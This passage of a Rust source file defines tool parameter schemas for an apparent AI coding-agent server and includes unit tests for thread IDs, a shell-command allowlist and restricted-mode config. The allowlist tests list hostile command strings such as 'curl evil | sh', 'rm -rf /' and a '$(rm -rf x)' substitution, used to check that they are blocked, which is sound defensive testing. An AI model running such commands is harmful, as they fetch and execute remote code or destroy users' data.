953#[derive(Debug, Clone, JsonSchema, PartialEq)]
954pub struct BashCommandMode {
955    pub bash_mode: BashMode,
956    pub allowed_commands: AllowedCommands,
957}
958
959#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
960pub enum BashMode {
961    NormalMode,
962    RestrictedMode,
963}
964
965// File edit mode
966#[derive(Debug, Clone, JsonSchema, PartialEq)]
967pub struct FileEditMode {
968    pub allowed_globs: AllowedGlobs,
969}
970
971// Write if empty mode
972#[derive(Debug, Clone, JsonSchema, PartialEq)]
973pub struct WriteIfEmptyMode {
974    pub allowed_globs: AllowedGlobs,
975}
976
977/// Parameters for the `FileWriteOrEdit` tool
978///
979/// This struct represents the parameters needed to write or edit a file
980/// with optional search/replace blocks for partial edits.
981#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
982pub struct FileWriteOrEdit {
983    /// Path to the file to write or edit
984    ///
985    /// This must be an absolute path (~ allowed).
986    pub file_path: String,
987
988    /// Percentage of the file that will be changed
989    ///
990    /// If > 50%, the content is treated as the entire file content.
991    /// If <= 50%, the content is treated as search/replace blocks.
992    pub percentage_to_change: u32,
993
994    /// Content for the file or search/replace blocks
995    ///
996    /// If `percentage_to_change` > 50%, this is the entire file content.
997    /// If `percentage_to_change` <= 50%, this contains search/replace blocks
998    /// in the format:
999    /// ```text
1000    /// <<<<<<< SEARCH
1001    /// old content to find
1002    /// =======
1003    /// new content to replace with
1004    /// >>>>>>> REPLACE
1005    /// ```
1006    pub text_or_search_replace_blocks: String,
1007
1008    /// The thread ID for this session
1009    pub thread_id: String,
1010}
1011
1012/// One compare-and-swap line patch. Coordinates refer to the original revision,
1013/// are one-based, and all patches are applied together.
1014#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema, PartialEq)]
1015pub struct LinePatch {
1016    /// Original line before which replacement starts (`totalLines + 1` appends).
1017    pub start_line: usize,
1018    /// Number of original lines to remove; zero performs an insertion.
1019    pub delete_lines: usize,
1020    /// Exact replacement bytes. Include newlines intentionally.
1021    pub replacement: String,
1022}
1023
1024/// Apply one or more non-overlapping line patches to an exact `ReadFiles`
1025/// revision. This is preferable to SEARCH/REPLACE when line coordinates are
1026/// already known.
1027#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1028pub struct ApplyPatch {
1029    /// Path returned by `ReadFiles.files[].path`.
1030    pub file_path: String,
1031    /// Opaque `ReadFiles.files[].revision` compare-and-swap token.
1032    pub expected_revision: String,
1033    /// Ordered, non-overlapping edits against that original revision.
1034    pub patches: Vec<LinePatch>,
1035    /// Thread ID for the same project session that produced the revision.
1036    pub thread_id: String,
1037}
1038
1039/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
1040/// corresponding [`FileWriteOrEdit`] fields.
1041#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1042pub struct FileEditEntry {
1043    /// Path to the file to write or edit (absolute, ~ allowed).
1044    pub file_path: String,
1045    /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
1046    pub percentage_to_change: u32,
1047    /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
1048    pub text_or_search_replace_blocks: String,
1049}
1050
1051/// Parameters for the `MultiFileEdit` tool: apply edits across several files
1052/// all-or-nothing at the COMPUTE stage.
1053///
1054/// Every file is validated and its new content computed in memory first; only
1055/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
1056/// the last file leaves the first files untouched. The write stage is a sequence
1057/// of atomic single-file renames and stops at the first I/O failure (already
1058/// written files are not rolled back, which is reported clearly).
1059#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1060pub struct MultiFileEdit {
1061    /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
1062    pub files: Vec<FileEditEntry>,
1063
1064    /// The thread ID for this session
1065    pub thread_id: String,
1066}
1067
1068/// Parameters for rerunning a post-edit verification without repeating the edit.
1069#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1070pub struct VerifyEdit {
1071    /// Deterministic receipt returned by the edit that first ran this command.
1072    pub verification_id: String,
1073    /// Exact finite foreground verification command from the edit receipt.
1074    pub command: String,
1075    /// Optional bounded inline wait, from 0 through 60 seconds.
1076    #[serde(default)]
1077    pub wait_for_seconds: Option<f32>,
1078    /// The thread ID for the same project session as the original edit.
1079    pub thread_id: String,
1080}
1081
1082/// Parameters for the `UndoEdit` tool: revert a file to its content before the
1083/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
1084#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1085pub struct UndoEdit {
1086    /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
1087    pub file_path: String,
1088
1089    /// The thread ID for this session
1090    pub thread_id: String,
1091}
1092
1093/// Parameters for the `ContextSave` tool
1094///
1095/// This struct represents the parameters needed to save context information
1096/// about a task, including file contents from specified globs.
1097#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1098pub struct ContextSave {
1099    /// Unique identifier for the task
1100    ///
1101    /// This should be a unique string that identifies the task. It can be
1102    /// a random 3-word identifier or a user-provided value.
1103    pub id: String,
1104
1105    /// Root path of the project
1106    ///
1107    /// This should be an absolute path to the project root. If empty, no
1108    /// project root will be used.
1109    pub project_root_path: String,
1110
1111    /// Description of the task
1112    ///
1113    /// This should contain a detailed description of the task, including
1114    /// relevant context, problems, and objectives.
1115    pub description: String,
1116
1117    /// List of file glob patterns
1118    ///
1119    /// These glob patterns identify the files that should be included in
1120    /// the saved context. Patterns can be absolute or relative to the project root.
1121    pub relevant_file_globs: Vec<String>,
1122
1123    /// Optional thread ID identifying the shell session to operate on. When
1124    /// omitted, the most recently active session is used.
1125    #[serde(default)]
1126    pub thread_id: String,
1127}
1128
1129/// Parameters for the `ReadImage` tool
1130///
1131/// This struct represents the parameters needed to read an image file.
1132#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1133pub struct ReadImage {
1134    /// Path to the image file to read
1135    ///
1136    /// This can be an absolute path or a path relative to the current working directory.
1137    pub file_path: String,
1138
1139    /// Optional thread ID identifying the shell session to operate on. When
1140    /// omitted, the most recently active session is used.
1141    #[serde(default)]
1142    pub thread_id: String,
1143
1144    /// Deliver the image again even when the unchanged bytes were already sent
1145    /// in this live session. Leave false for normal agent use so accidental
1146    /// repeated calls do not resend a multi-megabyte image.
1147    #[serde(default)]
1148    pub force: bool,
1149}
1150
1151/// Operation for the `CodeMap` tool.
1152#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1153#[serde(rename_all = "snake_case")]
1154pub enum CodeMapOperation {
1155    /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1156    Outline,
1157    /// The definition + reference (call/use) sites of a symbol name across the repo.
1158    References,
1159}
1160
1161/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1162/// two operations, in place of separate `Outline` / `FindReferences` tools.
1163#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1164pub struct CodeMap {
1165    /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1166    /// or `references` (the definition + use sites of a symbol name).
1167    pub operation: CodeMapOperation,
1168
1169    /// For `outline`: the file or directory to map (empty or a directory = a
1170    /// ranked repo symbol map). For `references`: the directory or file to search
1171    /// under (empty = the whole workspace). Relative paths resolve against the
1172    /// workspace.
1173    #[serde(default)]
1174    pub path: String,
1175
1176    /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1177    /// Required for `references`, ignored by `outline`.
1178    #[serde(default)]
1179    pub name: String,
1180
1181    /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1182    /// occurrences for `references`. 0 means the default.
1183    #[serde(default)]
1184    pub max_results: usize,
1185
1186    /// Optional task focus used to rank directory maps. Short symbol names,
1187    /// paths, or a concise topic work best. Ignored by single-file outlines and
1188    /// reference searches.
1189    #[serde(default)]
1190    pub query: String,
1191
1192    /// Opaque continuation returned by a truncated directory outline. Reuse it
1193    /// with the same path, query, and workspace snapshot; omit it to restart.
1194    #[serde(default)]
1195    pub cursor: String,
1196
1197    /// Optional thread ID identifying the shell session to operate on. When
1198    /// omitted, the most recently active session is used.
1199    #[serde(default)]
1200    pub thread_id: String,
1201}
1202
1203/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1204/// internally by `CodeMap`.
1205#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1206pub struct Outline {
1207    /// File or directory to outline. A file returns that file's symbols; a
1208    /// directory (or empty = the whole workspace) returns a ranked repo symbol
1209    /// map. Relative paths resolve against the workspace.
1210    #[serde(default)]
1211    pub path: String,
1212
1213    /// Maximum symbols to return for a single file, or maximum files for a repo
1214    /// map. 0 means the default.
1215    #[serde(default)]
1216    pub max_results: usize,
1217
1218    /// Optional task focus used to rank directory maps.
1219    #[serde(default)]
1220    pub query: String,
1221
1222    /// Opaque continuation for a directory map.
1223    #[serde(default)]
1224    pub cursor: String,
1225
1226    /// Optional thread ID identifying the shell session to operate on. When
1227    /// omitted, the most recently active session is used.
1228    #[serde(default)]
1229    pub thread_id: String,
1230}
1231
1232/// One symbol (definition) in `Outline` output.
1233#[derive(Debug, Clone, Serialize, JsonSchema)]
1234pub struct OutlineSymbol {
1235    /// Symbol name.
1236    pub name: String,
1237    /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1238    pub kind: String,
1239    /// 1-based line where the definition starts.
1240    pub line: usize,
1241}
1242
1243/// Symbols for one file in `Outline` output.
1244#[derive(Debug, Clone, Serialize, JsonSchema)]
1245pub struct OutlineFile {
1246    /// Workspace-relative path of the file.
1247    pub file: String,
1248    /// Definitions found in the file, in source order.
1249    pub symbols: Vec<OutlineSymbol>,
1250}
1251
1252/// Actionable fallback when a single-file `CodeMap` outline cannot provide
1253/// symbols. Exact source remains canonical; helpers are optional and derived.
1254#[derive(Debug, Clone, Serialize, JsonSchema)]
1255pub struct CodeMapFallback {
1256    /// Tool that can retrieve the canonical source.
1257    pub tool: String,
1258    /// Absolute path ready for `ReadFiles.file_paths`.
1259    pub file_paths: Vec<String>,
1260    /// Stable machine-readable reason for the fallback.
1261    pub reason: String,
1262    /// Session-local location for a genuinely useful derived helper.
1263    pub temporary_artifact_dir: String,
1264}
1265
1266/// Structured result of an `Outline` call (mirrors the text block).
1267#[derive(Debug, Clone, Serialize, JsonSchema)]
1268pub struct OutlineOutput {
1269    /// `file` for a single-file outline, `repo` for a workspace symbol map.
1270    pub mode: String,
1271    /// Number of files included in `files`.
1272    pub files_shown: usize,
1273    /// Per-file symbol lists.
1274    pub files: Vec<OutlineFile>,
1275    /// True if the symbol map was capped (more files or symbols exist).
1276    pub truncated: bool,
1277    /// Opaque continuation for the next ranked directory-map page.
1278    #[serde(skip_serializing_if = "Option::is_none")]
1279    pub next_cursor: Option<String>,
1280    /// Stable fingerprint of the ranked directory snapshot behind the cursor.
1281    #[serde(skip_serializing_if = "Option::is_none")]
1282    pub snapshot_hash: Option<String>,
1283    /// Number of candidate files inspected while producing this page.
1284    pub files_scanned: usize,
1285    /// Combined bytes of the human-readable map and its structured navigation
1286    /// payload, before the small shared MCP result envelope is added.
1287    pub payload_bytes: usize,
1288    /// Lowercase source extension in single-file mode.
1289    #[serde(skip_serializing_if = "Option::is_none")]
1290    pub file_extension: Option<String>,
1291    /// Whether Winx has a native tags query for the single-file language.
1292    #[serde(skip_serializing_if = "Option::is_none")]
1293    pub language_supported: Option<bool>,
1294    /// Exact-source recovery for an unsupported or unavailable parser.
1295    #[serde(skip_serializing_if = "Option::is_none")]
1296    pub fallback: Option<CodeMapFallback>,
1297}
1298
1299/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1300#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1301pub struct FindReferences {
1302    /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1303    pub name: String,
1304
1305    /// Directory or file to search under. Relative paths resolve against the
1306    /// workspace; leave empty to search the whole workspace.
1307    #[serde(default)]
1308    pub path: String,
1309
1310    /// Maximum occurrences to return. 0 means the default.
1311    #[serde(default)]
1312    pub max_results: usize,
1313
1314    /// Optional thread ID identifying the shell session to operate on. When
1315    /// omitted, the most recently active session is used.
1316    #[serde(default)]
1317    pub thread_id: String,
1318}
1319
1320/// One symbol occurrence in `FindReferences` output.
1321#[derive(Debug, Clone, Serialize, JsonSchema)]
1322pub struct ReferenceHit {
1323    /// Workspace-relative path.
1324    pub file: String,
1325    /// 1-based line.
1326    pub line: usize,
1327    /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1328    pub kind: String,
1329    /// True for a definition, false for a reference (call / use site).
1330    pub is_definition: bool,
1331}
1332
1333/// Structured result of a `FindReferences` call (mirrors the text block).
1334#[derive(Debug, Clone, Serialize, JsonSchema)]
1335pub struct ReferencesOutput {
1336    /// The symbol name that was searched for.
1337    pub name: String,
1338    /// Number of returned hits that are definitions.
1339    pub definitions: usize,
1340    /// Number of returned hits that are references (call / use sites).
1341    pub references: usize,
1342    /// True if the result was capped (more occurrences exist).
1343    pub truncated: bool,
1344    /// Combined bytes of the human-readable result and structured navigation
1345    /// payload before the shared MCP envelope is added.
1346    pub payload_bytes: usize,
1347    /// Occurrences, definitions first then references, each group by file/line.
1348    pub hits: Vec<ReferenceHit>,
1349}
1350
1351/// Aggregate guard state for a `CodeMap` call over non-canonical session helpers.
1352#[derive(Debug, Clone, Copy, Serialize, JsonSchema)]
1353pub struct CodeMapTemporaryHelperBudget {
1354    pub calls_used: usize,
1355    pub calls_limit: usize,
1356    pub unique_files_used: usize,
1357    pub unique_files_limit: usize,
1358}
1359
1360/// JSON Schema advertised for `CodeMap.structuredContent`.
1361///
1362/// `CodeMap` has two operations with different payloads. Their shared
1363/// `truncated` field is required; operation-specific fields are optional so the
1364/// single object schema accepts both the outline and references result shapes.
1365#[derive(Debug, Clone, JsonSchema)]
1366pub struct CodeMapStructuredOutput {
1367    pub truncated: bool,
1368    pub next_cursor: Option<String>,
1369    pub snapshot_hash: Option<String>,
1370    pub files_scanned: Option<usize>,
1371    pub payload_bytes: Option<usize>,
1372    pub source_kind: Option<String>,
1373    pub canonical: Option<bool>,
1374    pub temporary_helper_budget: Option<CodeMapTemporaryHelperBudget>,
1375    pub mode: Option<String>,
1376    pub files_shown: Option<usize>,
1377    pub files: Option<Vec<OutlineFile>>,
1378    pub file_extension: Option<String>,
1379    pub language_supported: Option<bool>,
1380    pub fallback: Option<CodeMapFallback>,
1381    pub name: Option<String>,
1382    pub definitions: Option<usize>,
1383    pub references: Option<usize>,
1384    pub hits: Option<Vec<ReferenceHit>>,
1385}
1386
1387#[cfg(test)]
1388mod thread_id_tests {
1389    use super::{normalize_thread_id, MAX_NORMALIZED_THREAD_ID_BYTES};
1390
1391    #[test]
1392    fn clean_id_is_unchanged() {
1393        assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1394        assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1395    }
1396
1397    #[test]
1398    fn empty_and_all_special_normalize_to_empty() {
1399        assert_eq!(normalize_thread_id(""), "");
1400        assert_eq!(normalize_thread_id("---"), "");
1401    }
1402
1403    #[test]
1404    fn separator_variants_do_not_collide() {
1405        // "user-1" and "user1" must NOT resolve to the same session/state file.
1406        let a = normalize_thread_id("user-1");
1407        let b = normalize_thread_id("user1");
1408        assert_ne!(a, b);
1409        assert!(a.starts_with("user1_"), "got {a}");
1410        assert_eq!(b, "user1");
1411        // "user-1" vs "user_1" must also stay distinct.
1412        assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1413    }
1414
1415    #[test]
1416    fn normalization_is_deterministic() {
1417        // Same input -> same hash -> same session across restarts.
1418        assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1419    }
1420
1421    #[test]
1422    fn oversized_ids_are_utf8_safe_bounded_and_idempotent() {
1423        let original = "á".repeat(200);
1424        let normalized = normalize_thread_id(&original);
1425        assert!(normalized.len() <= MAX_NORMALIZED_THREAD_ID_BYTES);
1426        assert!(normalized.is_char_boundary(normalized.len()));
1427        assert_eq!(normalize_thread_id(&normalized), normalized);
1428    }
1429}
1430
1431#[cfg(test)]
1432mod allowlist_tests {
1433    use super::AllowedCommands;
1434
1435    fn list(items: &[&str]) -> AllowedCommands {
1436        AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1437    }
1438
1439    #[test]
1440    fn all_permits_everything() {
1441        assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1442    }
1443
1444    #[test]
1445    fn list_allows_exact_and_args() {
1446        let a = list(&["ls", "cargo test"]);
1447        assert!(a.is_allowed("ls"));
1448        assert!(a.is_allowed("ls -la"));
1449        assert!(a.is_allowed("cargo test --release"));
1450    }
1451
1452    #[test]
1453    fn list_blocks_word_boundary_lookalikes() {
1454        let a = list(&["ls", "cargo test"]);
1455        assert!(!a.is_allowed("lsof"));
1456        assert!(!a.is_allowed("cargo testimony"));
1457    }
1458
1459    #[test]
1460    fn list_blocks_chained_and_substituted_commands() {
1461        let a = list(&["ls"]);
1462        // The old first-token check let all of these through.
1463        assert!(!a.is_allowed("ls && curl evil | sh"));
1464        assert!(!a.is_allowed("ls; rm -rf /"));
1465        assert!(!a.is_allowed("ls $(rm -rf x)"));
1466        assert!(!a.is_allowed("ls | rm"));
1467    }
1468
1469    #[test]
1470    fn list_allows_chain_when_all_parts_permitted() {
1471        let a = list(&["cargo build", "cargo test"]);
1472        assert!(a.is_allowed("cargo build && cargo test"));
1473    }
1474}
1475
1476#[cfg(test)]
1477mod code_writer_config_tests {
1478    use super::deserialize_code_writer_config;
1479    use serde_json::json;
1480
1481    #[test]
1482    fn explicit_null_opts_out() {
1483        assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1484        assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1485    }
1486
1487    #[test]
1488    fn valid_config_parses() {
1489        let r = deserialize_code_writer_config(json!({
1490            "allowed_commands": "all",
1491            "allowed_globs": "all",
1492        }));
1493        assert!(matches!(r, Ok(Some(_))));
1494    }
1495
1496    #[test]
1497    fn malformed_config_fails_loud() {
1498        // The crux of the fix: a malformed restricted-mode config must ERROR,
1499        // not silently degrade to None (None falls back to All/All — wide open,
1500        // while the model believes the shell is locked down).
1501        let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1502        assert!(r.is_err(), "malformed code_writer config must error, not become None");
1503    }
1504}